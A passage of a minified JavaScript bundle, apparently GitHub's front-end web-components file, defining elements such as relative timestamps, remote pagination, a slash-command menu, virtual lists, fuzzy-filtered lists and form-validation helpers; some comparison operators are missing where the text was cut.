Promise(i=>setTimeout(i,e)),this.fetch(t,e*1.5)):n}}a(xt,"PollIncludeFragmentElement"),window.customElements.get("poll-include-fragment")||(window.PollIncludeFragmentElement=xt,window.customElements.define("poll-include-fragment",xt));var Ft=m(75329);class Lt extends Ft.nJ{connectedCallback(){mt.push(this),yt||(St(),yt=window.setInterval(St,1e3))}disconnectedCallback(){const t=mt.indexOf(this);t!==-1&&mt.splice(t,1),mt.length||(window.clearInterval(yt),yt=void 0)}getFormattedDate(){const t=this.date;if(!t)return;const e=new Date().getTime()-t.getTime(),n=Math.floor(e/1e3),i=Math.floor(n/60),r=Math.floor(i/60),u=Math.floor(r/24),g=n-i*60,T=i-r*60,x=r-u*24;return i<1?this.applyPrecision([`${n}s`]):r<1?this.applyPrecision([`${i}m`,`${g}s`]):u<1?this.applyPrecision([`${r}h`,`${T}m`,`${g}s`]):this.applyPrecision([`${u}d`,`${x}h`,`${T}m`,`${g}s`])}applyPrecision(t){const e=Number(this.getAttribute("data-precision")||t.length);return t.slice(0,e).join(" ")}}a(Lt,"PreciseTimeAgoElement");const mt=[];let yt;function St(){for(const s of mt)s.textContent=s.getFormattedDate()||""}a(St,"updateNowElements"),window.customElements.get("precise-time-ago")||(window.PreciseTimeAgoElement=Lt,window.customElements.define("precise-time-ago",Lt));var Rt=m(12981),Vt=m(56238),zt=Object.defineProperty,qt=Object.getOwnPropertyDescriptor,ft=a((s,t,e,n)=>{for(var i=n>1?void 0:n?qt(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&zt(t,e,i),i},"remote_pagination_element_decorateClass");let rt=a(class extends HTMLElement{constructor(){super(...arguments);this.loaderWasFocused=!1}connectedCallback(){this.setPaginationUrl(this.list)}get hasNextPage(){return!this.form.hidden}loadNextPage(){!this.hasNextPage||(0,Vt.Bt)(this.form)}get disabled(){return this.submitButton.hasAttribute("aria-disabled")}set disabled(s){s?this.submitButton.setAttribute("aria-disabled","true"):this.submitButton.removeAttribute("aria-disabled"),this.submitButton.classList.toggle("disabled",s)}loadstart(s){s.target.addEventListener("focus",()=>{this.loaderWasFocused=!0},{once:!0}),s.target.addEventListener("include-fragment-replaced",()=>{var t;this.setPaginationUrl(this.list),this.loaderWasFocused&&((t=this.focusMarkers.pop())==null||t.focus()),this.loaderWasFocused=!1},{once:!0})}async submit(s){var t;if(s.preventDefault(),this.disabled)return;this.disabled=!0;let e;try{const i=await fetch(this.form.action);if(!i.ok)return;e=await i.text()}catch{return}const n=(0,Rt.r)(document,e);this.setPaginationUrl(n),this.list.append(n),(t=this.focusMarkers.pop())==null||t.focus(),this.disabled=!1,this.dispatchEvent(new CustomEvent("remote-pagination-load"))}setPaginationUrl(s){const t=s.querySelector("[data-pagination-src]");if(!t)return;const e=t.getAttribute("data-pagination-src");e?(this.form.action=e,this.form.hidden=!1):this.form.hidden=!0}},"RemotePaginationElement");ft([l.fA],rt.prototype,"form",2),ft([l.fA],rt.prototype,"list",2),ft([l.GO],rt.prototype,"focusMarkers",2),ft([l.fA],rt.prototype,"submitButton",2),rt=ft([l.Ih],rt);var kt=m(10160);const jt=/\s|\(|\[/;function $t(s,t,e){const n=s.lastIndexOf(t,e-1);if(n===-1||s.lastIndexOf(" ",e-1)>n)return;const r=s[n-1];return r&&!jt.test(r)?void 0:{word:s.substring(n+t.length,e),position:n+t.length,beginningOfLine:Ut(r)}}a($t,"keyword");const Ut=a(s=>s===void 0||/\n/.test(s),"isBeginningOfLine"),Gt=["position:absolute;","overflow:auto;","word-wrap:break-word;","top:0px;","left:-9999px;"],Ht=["box-sizing","font-family","font-size","font-style","font-variant","font-weight","height","letter-spacing","line-height","max-height","min-height","padding-bottom","padding-left","padding-right","padding-top","border-bottom","border-left","border-right","border-top","text-decoration","text-indent","text-transform","width","word-spacing"],Ot=new WeakMap;function Kt(s,t){const e=s.nodeName.toLowerCase();if(e!=="textarea"&&e!=="input")throw new Error("expected textField to a textarea or input");let n=Ot.get(s);if(n&&n.parentElement===s.parentElement)n.innerHTML="";else{n=document.createElement("div"),Ot.set(s,n);const g=window.getComputedStyle(s),T=Gt.slice(0);e==="textarea"?T.push("white-space:pre-wrap;"):T.push("white-space:nowrap;");for(let x=0,O=Ht.length;x{e.remove()},5e3),{top:r.top-i.top,left:r.left-i.left}}a(Zt,"textFieldSelectionPosition");const at=new WeakMap;class Bt{constructor(t,e){this.expander=t,this.input=e,this.combobox=null,this.menu=null,this.match=null,this.justPasted=!1,this.oninput=this.onInput.bind(this),this.onpaste=this.onPaste.bind(this),this.onkeydown=this.onKeydown.bind(this),this.oncommit=this.onCommit.bind(this),this.onmousedown=this.onMousedown.bind(this),this.onblur=this.onBlur.bind(this),this.interactingWithMenu=!1,e.addEventListener("paste",this.onpaste),e.addEventListener("input",this.oninput),e.addEventListener("keydown",this.onkeydown),e.addEventListener("blur",this.onblur)}destroy(){this.input.removeEventListener("paste",this.onpaste),this.input.removeEventListener("input",this.oninput),this.input.removeEventListener("keydown",this.onkeydown),this.input.removeEventListener("blur",this.onblur)}activate(t,e){this.input===document.activeElement&&this.setMenu(t,e)}deactivate(){const t=this.menu,e=this.combobox;return!t||!e?!1:(this.menu=null,this.combobox=null,t.removeEventListener("combobox-commit",this.oncommit),t.removeEventListener("mousedown",this.onmousedown),e.destroy(),t.remove(),!0)}setMenu(t,e){this.deactivate(),this.menu=e,e.id||(e.id=`text-expander-${Math.floor(Math.random()*1e5).toString()}`),this.expander.append(e);const n=e.querySelector(".js-slash-command-menu-items");n?this.combobox=new kt.Z(this.input,n):this.combobox=new kt.Z(this.input,e);const{top:i,left:r}=Zt(this.input,t.position),u=parseInt(window.getComputedStyle(this.input).fontSize);e.style.top=`${i+u}px`,e.style.left=`${r}px`,this.combobox.start(),e.addEventListener("combobox-commit",this.oncommit),e.addEventListener("mousedown",this.onmousedown),this.combobox.navigate(1)}setValue(t){if(t==null)return;const e=this.match;if(!e)return;const n=this.input.value.substring(0,e.position-e.key.length),i=this.input.value.substring(e.position+e.text.length);let{cursor:r,value:u}=this.replaceCursorMark(t);u=(u==null?void 0:u.length)===0?u:`${u} `,this.input.value=n+u+i,this.deactivate(),this.input.focus(),r=n.length+(r||u.length),this.input.selectionStart=r,this.input.selectionEnd=r}replaceCursorMark(t){const e=/%cursor%/gm,n=e.exec(t);return n?{cursor:n.index,value:t.replace(e,"")}:{cursor:null,value:t}}async onCommit({target:t}){const e=t;if(!(e instanceof HTMLElement)||!this.combobox)return;const n=this.match;if(!n)return;const i={item:e,key:n.key,value:null},r=new CustomEvent("text-expander-value",{cancelable:!0,detail:i}),u=!this.expander.dispatchEvent(r),{onValue:g}=await m.e("app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts").then(m.bind(m,49914));await g(this.expander,n.key,e),!u&&i.value&&this.setValue(i.value)}onBlur(){if(this.interactingWithMenu){this.interactingWithMenu=!1;return}this.deactivate()}onPaste(){this.justPasted=!0}async delay(t){return new Promise(e=>setTimeout(e,t))}async onInput(){if(this.justPasted){this.justPasted=!1;return}const t=this.findMatch();if(t){if(this.match=t,await this.delay(this.appropriateDelay(this.match)),this.match!==t)return;const e=await this.notifyProviders(t);if(!this.match)return;e?this.activate(t,e):this.deactivate()}else this.match=null,this.deactivate()}appropriateDelay(t){return t.beginningOfLine||t.text!==""?0:250}findMatch(){const t=this.input.selectionEnd,e=this.input.value;for(const n of this.expander.keys){const i=$t(e,n,t);if(i)return{text:i.word,key:n,position:i.position,beginningOfLine:i.beginningOfLine}}}async notifyProviders(t){const e=[],n=a(x=>e.push(x),"provide"),i=new CustomEvent("text-expander-change",{cancelable:!0,detail:{provide:n,text:t.text,key:t.key}});if(!this.expander.dispatchEvent(i))return;const{onChange:u}=await m.e("app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts").then(m.bind(m,49914));return u(this.expander,t.key,n,t.text),(await Promise.all(e)).filter(x=>x.matched).map(x=>x.fragment)[0]}onMousedown(){this.interactingWithMenu=!0}onKeydown(t){t.key==="Escape"&&this.deactivate()&&(t.stopImmediatePropagation(),t.preventDefault())}}a(Bt,"SlashCommandExpander");class Mt extends HTMLElement{get keys(){const t=this.getAttribute("keys");return t?t.split(" "):[]}connectedCallback(){const t=this.querySelector('input[type="text"], textarea');if(!(t instanceof HTMLInputElement||t instanceof HTMLTextAreaElement))return;const e=new Bt(this,t);at.set(this,e)}disconnectedCallback(){const t=at.get(this);!t||(t.destroy(),at.delete(this))}setValue(t){const e=at.get(this);!e||e.setValue(t)}setMenu(t,e=!1){const n=at.get(this);!n||!n.match||(e&&(n.interactingWithMenu=!0),n.setMenu(n.match,t))}closeMenu(){const t=at.get(this);!t||t.setValue("")}isLoading(){const t=this.getElementsByClassName("js-slash-command-expander-loading")[0];if(t){const e=t.cloneNode(!0);e.classList.remove("d-none"),this.setMenu(e)}}showError(){const t=this.getElementsByClassName("js-slash-command-expander-error")[0];if(t){const e=t.cloneNode(!0);e.classList.remove("d-none"),this.setMenu(e)}}}a(Mt,"SlashCommandExpanderElement"),window.customElements.get("slash-command-expander")||(window.SlashCommandExpanderElement=Mt,window.customElements.define("slash-command-expander",Mt));var Xt=Object.defineProperty,Qt=Object.getOwnPropertyDescriptor,_t=a((s,t,e,n)=>{for(var i=n>1?void 0:n?Qt(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&Xt(t,e,i),i},"text_suggester_element_decorateClass");let pt=a(class extends HTMLElement{acceptSuggestion(){var s;((s=this.suggestion)==null?void 0:s.textContent)&&(this.input.value=this.suggestion.textContent,this.input.dispatchEvent(new Event("input")),this.suggestionContainer&&(this.suggestionContainer.hidden=!0),this.input.focus())}},"TextSuggesterElement");_t([l.fA],pt.prototype,"input",2),_t([l.fA],pt.prototype,"suggestionContainer",2),_t([l.fA],pt.prototype,"suggestion",2),pt=_t([l.Ih],pt);var Dt=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"virtual_filter_input_element_accessCheck"),R=a((s,t,e)=>(Dt(s,t,"read from private field"),e?e.call(s):t.get(s)),"virtual_filter_input_element_privateGet"),ot=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"virtual_filter_input_element_privateAdd"),V=a((s,t,e,n)=>(Dt(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"virtual_filter_input_element_privateSet"),gt,lt,ut,et,vt,K;function Jt(s){return Boolean(s instanceof Set||s&&typeof s=="object"&&"size"in s&&"add"in s&&"delete"in s&&"clear"in s)}a(Jt,"isSetAlike");class Tt extends HTMLElement{constructor(){super(...arguments);ot(this,gt,void 0),ot(this,lt,0),ot(this,ut,null),ot(this,et,void 0),ot(this,vt,new Set),ot(this,K,null),this.filter=(t,e)=>String(t).includes(e)}static get observedAttributes(){return["src","loading","data-property","aria-owns"]}get filtered(){if(R(this,K))return R(this,K);if(this.hasAttribute("aria-owns")){const t=this.ownerDocument.getElementById(this.getAttribute("aria-owns")||"");t&&Jt(t)&&V(this,K,t)}return R(this,K)||V(this,K,new Set)}set filtered(t){V(this,K,t)}get input(){return this.querySelector("input, textarea")}get src(){return this.getAttribute("src")||""}set src(t){this.setAttribute("src",t)}get loading(){return this.getAttribute("loading")==="lazy"?"lazy":"eager"}set loading(t){this.setAttribute("loading",t)}get accept(){return this.getAttribute("accept")||""}set accept(t){this.setAttribute("accept",t)}get property(){return this.getAttribute("data-property")||""}set property(t){this.setAttribute("data-property",t)}reset(){this.filtered.clear(),V(this,vt,new Set)}clear(){!this.input||(this.input.value="",this.input.dispatchEvent(new Event("input")))}attributeChangedCallback(t,e,n){const i=this.isConnected&&this.src,r=this.loading==="eager",u=t==="src"||t==="loading"||t==="accept"||t==="data-property",g=t==="src"||t==="data-property",T=e!==n;g&&T&&(V(this,ut,null),R(this,et)&&clearTimeout(R(this,et))),i&&r&&u&&T?(cancelAnimationFrame(R(this,lt)),V(this,lt,requestAnimationFrame(()=>this.load()))):t==="aria-owns"&&V(this,K,null)}connectedCallback(){this.src&&this.loading==="eager"&&(cancelAnimationFrame(R(this,lt)),V(this,lt,requestAnimationFrame(()=>this.load())));const t=this.input;if(!t)return;const e=this.getAttribute("aria-owns");e!==null&&this.attributeChangedCallback("aria-owns","",e),t.setAttribute("autocomplete","off"),t.setAttribute("spellcheck","false"),this.src&&this.loading==="lazy"&&(document.activeElement===t?this.load():t.addEventListener("focus",()=>{this.load()},{once:!0})),t.addEventListener("input",this)}disconnectedCallback(){var t;(t=this.input)==null||t.removeEventListener("input",this)}handleEvent(t){var e,n;t.type==="input"&&(R(this,et)&&clearTimeout(R(this,et)),V(this,et,window.setTimeout(()=>this.filterItems(),((n=(e=this.input)==null?void 0:e.value)==null?void 0:n.length)||0<3?300:0)))}async load(){var t;(t=R(this,gt))==null||t.abort(),V(this,gt,new AbortController);const{signal:e}=R(this,gt);if(!this.src)throw new Error("missing src");if(await new Promise(n=>setTimeout(n,0)),!e.aborted){this.dispatchEvent(new Event("loadstart"));try{const n=await this.fetch(this.request(),{signal:e});if(location.origin+this.src!==n.url)return;if(!n.ok)throw new Error(`Failed to load resource: the server responded with a status of ${n.status}`);V(this,vt,new Set((await n.json())[this.property])),V(this,ut,null),this.dispatchEvent(new Event("loadend"))}catch(n){if(e.aborted){this.dispatchEvent(new Event("loadend"));return}throw(async()=>(this.dispatchEvent(new Event("error")),this.dispatchEvent(new Event("loadend"))))(),n}this.filtered.clear(),this.filterItems()}}request(){return new Request(this.src,{method:"GET",credentials:"same-origin",headers:{Accept:this.accept||"application/json"}})}fetch(t,e){return fetch(t,e)}filterItems(){var t,e;const n=(e=(t=this.input)==null?void 0:t.value.trim())!=null?e:"",i=R(this,ut);if(V(this,ut,n),n===i)return;this.dispatchEvent(new CustomEvent("virtual-filter-input-filter"));let r;i&&n.includes(i)?r=this.filtered:(r=R(this,vt),this.filtered.clear());for(const u of r)this.filter(u,n)?this.filtered.add(u):this.filtered.delete(u);this.dispatchEvent(new CustomEvent("virtual-filter-input-filtered"))}}a(Tt,"VirtualFilterInputElement"),gt=new WeakMap,lt=new WeakMap,ut=new WeakMap,et=new WeakMap,vt=new WeakMap,K=new WeakMap;const re=null;window.customElements.get("virtual-filter-input")||(window.VirtualFilterInputElement=Tt,window.customElements.define("virtual-filter-input",Tt));var Wt=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"virtual_list_element_accessCheck"),v=a((s,t,e)=>(Wt(s,t,"read from private field"),e?e.call(s):t.get(s)),"virtual_list_element_privateGet"),nt=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"virtual_list_element_privateAdd"),Z=a((s,t,e,n)=>(Wt(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"virtual_list_element_privateSet"),st,F,Q,$,Et,At,ct;class Pt extends HTMLElement{constructor(){super(...arguments);nt(this,st,!1),nt(this,F,new Set),nt(this,Q,new Map),nt(this,$,1/0),nt(this,Et,new Map),nt(this,At,new Map),nt(this,ct,0)}static get observedAttributes(){return["data-updating"]}get updating(){return this.getAttribute("data-updating")==="lazy"?"lazy":"eager"}set updating(t){this.setAttribute("data-updating",t)}get size(){return v(this,F).size}get range(){const t=this.getBoundingClientRect().height,{scrollTop:e}=this,n=`${e}-${t}`;if(v(this,Et).has(n))return v(this,Et).get(n);let i=0,r=0,u=0,g=0;const T=v(this,Q);for(const x of v(this,F)){const O=T.get(x)||v(this,$);if(u+O=t)break}return[i,r]}attributeChangedCallback(t,e,n){if(e===n||!this.isConnected)return;const i=t==="data-updating"&&n==="eager",r=t==="data-sorted"&&this.hasAttribute("data-sorted");(i||r)&&this.update()}connectedCallback(){this.addEventListener("scroll",()=>this.update()),this.updateSync=this.updateSync.bind(this)}update(){v(this,ct)&&cancelAnimationFrame(v(this,ct)),!v(this,st)&&this.hasAttribute("data-sorted")?Z(this,ct,requestAnimationFrame(()=>{this.dispatchEvent(new CustomEvent("virtual-list-sort",{cancelable:!0}))&&this.sort()})):Z(this,ct,requestAnimationFrame(this.updateSync))}renderItem(t){const e={item:t,fragment:document.createDocumentFragment()};return this.dispatchEvent(new CustomEvent("virtual-list-render-item",{detail:e})),e.fragment.children[0]}recalculateHeights(t){const e=this.querySelector("ul, ol, tbody");e&&(e.append(this.renderItem(t)),Z(this,$,e.children[0].getBoundingClientRect().height),v(this,Q).set(t,v(this,$)),e.replaceChildren())}updateSync(){const t=this.querySelector("ul, ol");if(!t)return;const[e,n]=this.range;if(nn){T=!1;break}let it=null;if(u.has(X))it=u.get(X);else{if(it=this.renderItem(X),!it)continue;u.set(X,it)}r.set(X,it)}t.replaceChildren(...r.values()),t.style.paddingTop=`${x}px`;const O=this.size*v(this,$);t.style.height=`${O||0}px`;let J=!1;const It=this.getBoundingClientRect().bottom;for(const[X,it]of r){const{height:ee,bottom:ne}=it.getBoundingClientRect();J=J||ne>=It,v(this,Q).set(X,ee)}if(!T&&this.size>r.size&&!J)return v(this,Et).delete(`${this.scrollTop}-${this.getBoundingClientRect().height}`),this.update();this.dispatchEvent(new CustomEvent("virtual-list-updated"))}has(t){return v(this,F).has(t)}add(t){return v(this,F).add(t),Z(this,st,!1),Number.isFinite(v(this,$))||this.recalculateHeights(t),this.updating==="eager"&&this.update(),this}delete(t){const e=v(this,F).delete(t);return Z(this,st,!1),v(this,Q).delete(t),this.updating==="eager"&&this.update(),e}clear(){v(this,F).clear(),v(this,Q).clear(),Z(this,$,1/0),Z(this,st,!0),this.updating==="eager"&&this.update()}forEach(t,e){for(const n of this)t.call(e,n,n,this)}entries(){return v(this,F).entries()}values(){return v(this,F).values()}keys(){return v(this,F).keys()}[Symbol.iterator](){return v(this,F)[Symbol.iterator]()}sort(t){return Z(this,F,new Set(Array.from(this).sort(t))),Z(this,st,!0),this.updating==="eager"&&this.update(),this}}a(Pt,"VirtualListElement"),st=new WeakMap,F=new WeakMap,Q=new WeakMap,$=new WeakMap,Et=new WeakMap,At=new WeakMap,ct=new WeakMap;const ae=null;window.customElements.get("virtual-list")||(window.VirtualListElement=Pt,window.customElements.define("virtual-list",Pt));var Yt=Object.defineProperty,te=Object.getOwnPropertyDescriptor,Ct=a((s,t,e,n)=>{for(var i=n>1?void 0:n?te(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&Yt(t,e,i),i},"visible_password_element_decorateClass");let wt=a(class extends HTMLElement{show(){this.input.type="text",this.input.focus(),this.showButton.hidden=!0,this.hideButton.hidden=!1}hide(){this.input.type="password",this.input.focus(),this.hideButton.hidden=!0,this.showButton.hidden=!1}},"VisiblePasswordElement");Ct([l.fA],wt.prototype,"input",2),Ct([l.fA],wt.prototype,"showButton",2),Ct([l.fA],wt.prototype,"hideButton",2),wt=Ct([l.Ih],wt)},7679:(B,P,m)=>{m.d(P,{H:()=>y,v:()=>L});var b=m(59753);function L(){const p=document.getElementById("ajax-error-message");p&&(p.hidden=!1)}a(L,"showGlobalError");function y(){const p=document.getElementById("ajax-error-message");p&&(p.hidden=!0)}a(y,"hideGlobalError"),(0,b.on)("deprecatedAjaxError","[data-remote]",function(p){const E=p.detail,{error:I,text:D}=E;p.currentTarget===p.target&&(I==="abort"||I==="canceled"||(/{m.d(P,{G:()=>_});var b=m(45075),L=m(64463),y=m(59753);const p=["input[pattern]","input[required]","textarea[required]","input[data-required-change]","textarea[data-required-change]","input[data-required-value]","textarea[data-required-value]"].join(",");function E(d){const o=d.getAttribute("data-required-value"),h=d.getAttribute("data-required-value-prefix");if(d.value===o)d.setCustomValidity("");else{let f=o;h&&(f=h+f),d.setCustomValidity(f)}}a(E,"checkValidityForRequiredValueField"),(0,b.q6)("[data-required-value]",function(d){const o=d.currentTarget;E(o)}),(0,y.on)("change","[data-required-value]",function(d){const o=d.currentTarget;E(o),_(o.form)}),(0,b.q6)("[data-required-trimmed]",function(d){const o=d.currentTarget;o.value.trim()===""?o.setCustomValidity(o.getAttribute("data-required-trimmed")):o.setCustomValidity("")}),(0,y.on)("change","[data-required-trimmed]",function(d){const o=d.currentTarget;o.value.trim()===""?o.setCustomValidity(o.getAttribute("data-required-trimmed")):o.setCustomValidity(""),_(o.form)}),(0,b.ZG)(p,d=>{let o=d.checkValidity();function h(){const f=d.checkValidity();f!==o&&d.form&&_(d.form),o=f}a(h,"inputHandler"),d.addEventListener("input",h),d.addEventListener("blur",a(function f(){d.removeEventListener("input",h),d.removeEventListener("blur",f)},"blurHandler"))});const I=new WeakMap;function D(d){I.get(d)||(d.addEventListener("change",()=>_(d)),I.set(d,!0))}a(D,"installHandlers");function _(d){const o=d.checkValidity();for(const h of d.querySelectorAll("button[data-disable-invalid]"))h.disabled=!o}a(_,"validate"),(0,L.N7)("button[data-disable-invalid]",{constructor:HTMLButtonElement,initialize(d){const o=d.form;o&&(D(o),d.disabled=!o.checkValidity())}}),(0,L.N7)("input[data-required-change], textarea[data-required-change]",function(d){const o=d,h=o.type==="radio"&&o.form?o.form.elements.namedItem(o.name).value:null;function f(c){const l=o.form;if(c&&o.type==="radio"&&l&&h)for(const w of l.elements.namedItem(o.name))w instanceof HTMLInputElement&&w.setCustomValidity(o.value===h?"unchanged":"");else o.setCustomValidity(o.value===(h||o.defaultValue)?"unchanged":"")}a(f,"customValidity"),o.addEventListener("input",f),o.addEventListener("change",f),f(),o.form&&_(o.form)}),document.addEventListener("reset",function(d){if(d.target instanceof HTMLFormElement){const o=d.target;setTimeout(()=>_(o))}})},56238:(B,P,m)=>{m.d(P,{Bt:()=>E,DN:()=>_,KL:()=>h,Se:()=>D,qC:()=>f,sw:()=>d});var b=m(59753),L=m(2061),y=m(7679);(0,b.on)("click",".js-remote-submit-button",async function(c){const w=c.currentTarget.form;c.preventDefault();let C;try{C=await fetch(w.action,{method:w.method,body:new FormData(w),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}C&&!C.ok&&(0,y.v)()});function p(c,l,w){return c.dispatchEvent(new CustomEvent(l,{bubbles:!0,cancelable:w}))}a(p,"fire");function E(c,l){l&&(I(c,l),(0,L.j)(l)),p(c,"submit",!0)&&c.submit()}a(E,"requestSubmit");function I(c,l){if(!(c instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(l instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(l.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!c||c!==l.form)throw new Error("The specified element is not owned by the form element.")}a(I,"checkButtonValidity");function D(c,l){if(typeof l=="boolean")if(c instanceof HTMLInputElement)c.checked=l;else throw new TypeError("only checkboxes can be set to boolean value");else{if(c.type==="checkbox")throw new TypeError("checkbox can't be set to string value");c.value=l}p(c,"change",!1)}a(D,"changeValue");function _(c,l){for(const w in l){const C=l[w],A=c.elements.namedItem(w);(A instanceof HTMLInputElement||A instanceof HTMLTextAreaElement)&&(A.value=C)}}a(_,"fillFormValues");function d(c){if(!(c instanceof HTMLElement))return!1;const l=c.nodeName.toLowerCase(),w=(c.getAttribute("type")||"").toLowerCase();return l==="select"||l==="textarea"||l==="input"&&w!=="submit"&&w!=="reset"||c.isContentEditable}a(d,"isFormField");function o(c){return new URLSearchParams(c)}a(o,"searchParamsFromFormData");function h(c,l){const w=new URLSearchParams(c.search),C=o(l);for(const[A,W]of C)w.append(A,W);return w.toString()}a(h,"combineGetFormSearchParams");function f(c){return o(new FormData(c)).toString()}a(f,"serialize")},99254:(B,P,m)=>{m.d(P,{Z:()=>d});var b=m(47142);const L=a((o,h,f)=>{if(!(0,b.CD)(o,h))return-1/0;const c=(0,b.Gs)(o,h);return c{o.innerHTML="";let c=0;for(const l of(0,b.m7)(h,f)){f.slice(c,l)!==""&&o.appendChild(document.createTextNode(f.slice(c,l))),c=l+1;const C=document.createElement("mark");C.textContent=f[l],o.appendChild(C)}o.appendChild(document.createTextNode(f.slice(c)))},"highlightElement"),p=new WeakMap,E=new WeakMap,I=new WeakMap,D=a(o=>{if(!I.has(o)&&o instanceof HTMLElement){const h=(o.getAttribute("data-value")||o.textContent||"").trim();return I.set(o,h),h}return I.get(o)||""},"getTextCache");class _ extends HTMLElement{connectedCallback(){const h=this.querySelector("ul");if(!h)return;const f=new Set(h.querySelectorAll("li")),c=this.querySelector("input");c instanceof HTMLInputElement&&c.addEventListener("input",()=>{this.value=c.value});const l=new MutationObserver(C=>{let A=!1;for(const W of C)if(W.type==="childList"&&W.addedNodes.length){for(const q of W.addedNodes)if(q instanceof HTMLLIElement&&!f.has(q)){const z=D(q);A=A||(0,b.CD)(this.value,z),f.add(q)}}A&&this.sort()});l.observe(h,{childList:!0});const w={handler:l,items:f,lazyItems:new Map,timer:null};E.set(this,w)}disconnectedCallback(){const h=E.get(this);h&&(h.handler.disconnect(),E.delete(this))}addLazyItems(h,f){const c=E.get(this);if(!c)return;const{lazyItems:l}=c,{value:w}=this;let C=!1;for(const A of h)l.set(A,f),C=C||Boolean(w)&&(0,b.CD)(w,A);C&&this.sort()}sort(){const h=p.get(this);h&&(h.aborted=!0);const f={aborted:!1};p.set(this,f);const{minScore:c,markSelector:l,maxMatches:w,value:C}=this,A=E.get(this);if(!A||!this.dispatchEvent(new CustomEvent("fuzzy-list-will-sort",{cancelable:!0,detail:C})))return;const{items:W,lazyItems:q}=A,z=this.hasAttribute("mark-selector"),U=this.querySelector("ul");if(!U)return;const k=[];if(C){for(const M of W){const S=D(M),H=L(C,S,c);H!==-1/0&&k.push({item:M,score:H})}for(const[M,S]of q){const H=L(C,M,c);H!==-1/0&&k.push({text:M,render:S,score:H})}k.sort((M,S)=>S.score-M.score).splice(w)}else{let M=k.length;for(const S of W){if(M>=w)break;k.push({item:S,score:1}),M+=1}for(const[S,H]of q){if(M>=w)break;k.push({text:S,render:H,score:1}),M+=1}}requestAnimationFrame(()=>{if(f.aborted)return;const M=U.querySelector('input[type="radio"]:checked');U.innerHTML="";let S=0;const H=a(()=>{if(f.aborted)return;const G=Math.min(k.length,S+100),dt=document.createDocumentFragment();for(let j=S;j0),this.dispatchEvent(new CustomEvent("fuzzy-list-sorted",{detail:k.length}))}},"nextBatch");H()})}get value(){return this.getAttribute("value")||""}set value(h){this.setAttribute("value",h)}get markSelector(){return this.getAttribute("mark-selector")||""}set markSelector(h){h?this.setAttribute("mark-selector",h):this.removeAttribute("mark-selector")}get minScore(){return Number(this.getAttribute("min-score")||0)}set minScore(h){Number.isNaN(h)||this.setAttribute("min-score",String(h))}get maxMatches(){return Number(this.getAttribute("max-matches")||1/0)}set maxMatches(h){Number.isNaN(h)||this.setAttribute("max-matches",String(h))}static get observedAttributes(){return["value","mark-selector","min-score","max-matches"]}attributeChangedCallback(h,f,c){if(f===c)return;const l=E.get(this);!l||(l.timer&&window.clearTimeout(l.timer),l.timer=window.setTimeout(()=>this.sort(),100))}}a(_,"FuzzyListElement");const d=_;window.customElements.get("fuzzy-list")||(window.FuzzyListElement=_,window.customElements.define("fuzzy-list",_))},45075:(B,P,m)=>{m.d(P,{ZG:()=>E,q6:()=>D,w4:()=>I});var b=m(8439);let L=!1;const y=new b.Z;function p(_){const d=_.target;if(d instanceof HTMLElement&&d.nodeType!==Node.DOCUMENT_NODE)for(const o of y.matches(d))o.data.call(null,d)}a(p,"handleFocus");function E(_,d){L||(L=!0,document.addEventListener("focus",p,!0)),y.add(_,d),document.activeElement instanceof HTMLElement&&document.activeElement.matches(_)&&d(document.activeElement)}a(E,"onFocus");function I(_,d,o){function h(f){const c=f.currentTarget;!c||(c.removeEventListener(_,o),c.removeEventListener("blur",h))}a(h,"blurHandler"),E(d,function(f){f.addEventListener(_,o),f.addEventListener("blur",h)})}a(I,"onKey");function D(_,d){function o(h){const{currentTarget:f}=h;!f||(f.removeEventListener("input",d),f.removeEventListener("blur",o))}a(o,"blurHandler"),E(_,function(h){h.addEventListener("input",d),h.addEventListener("blur",o)})}a(D,"onInput")},12981:(B,P,m)=>{m.d(P,{r:()=>b});function b(L,y){const p=L.createElement("template");return p.innerHTML=y,L.importNode(p.content,!0)}a(b,"parseHTML")},37211:(B,P,m)=>{m.d(P,{X:()=>L});var b=m(64463);function L(){return/Windows/.test(navigator.userAgent)?"windows":/Macintosh/.test(navigator.userAgent)?"mac":null}a(L,"getPlatform");function y(p){const E=(p.getAttribute("data-platforms")||"").split(","),I=L();return Boolean(I&&E.includes(I))}a(y,"runningOnPlatform"),(0,b.N7)(".js-remove-unless-platform",function(p){y(p)||p.remove()})},2061:(B,P,m)=>{m.d(P,{j:()=>b,u:()=>L});function b(y){const p=y.closest("form");if(!(p instanceof HTMLFormElement))return;let E=L(p);if(y.name){const I=y.matches("input[type=submit]")?"Submit":"",D=y.value||I;E||(E=document.createElement("input"),E.type="hidden",E.classList.add("is-submit-button-value"),p.prepend(E)),E.name=y.name,E.value=D}else E&&E.remove()}a(b,"persistSubmitButtonValue");function L(y){const p=y.querySelector("input.is-submit-button-value");return p instanceof HTMLInputElement?p:null}a(L,"findPersistedSubmitButtonValue")}},B=>{var P=a(b=>B(B.s=b),"__webpack_exec__");B.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js","vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104"],()=>P(47486));var m=B.O()}]);})(); + +//# sourceMappingURL=github-elements-1649ccafecd9.js.map \ No 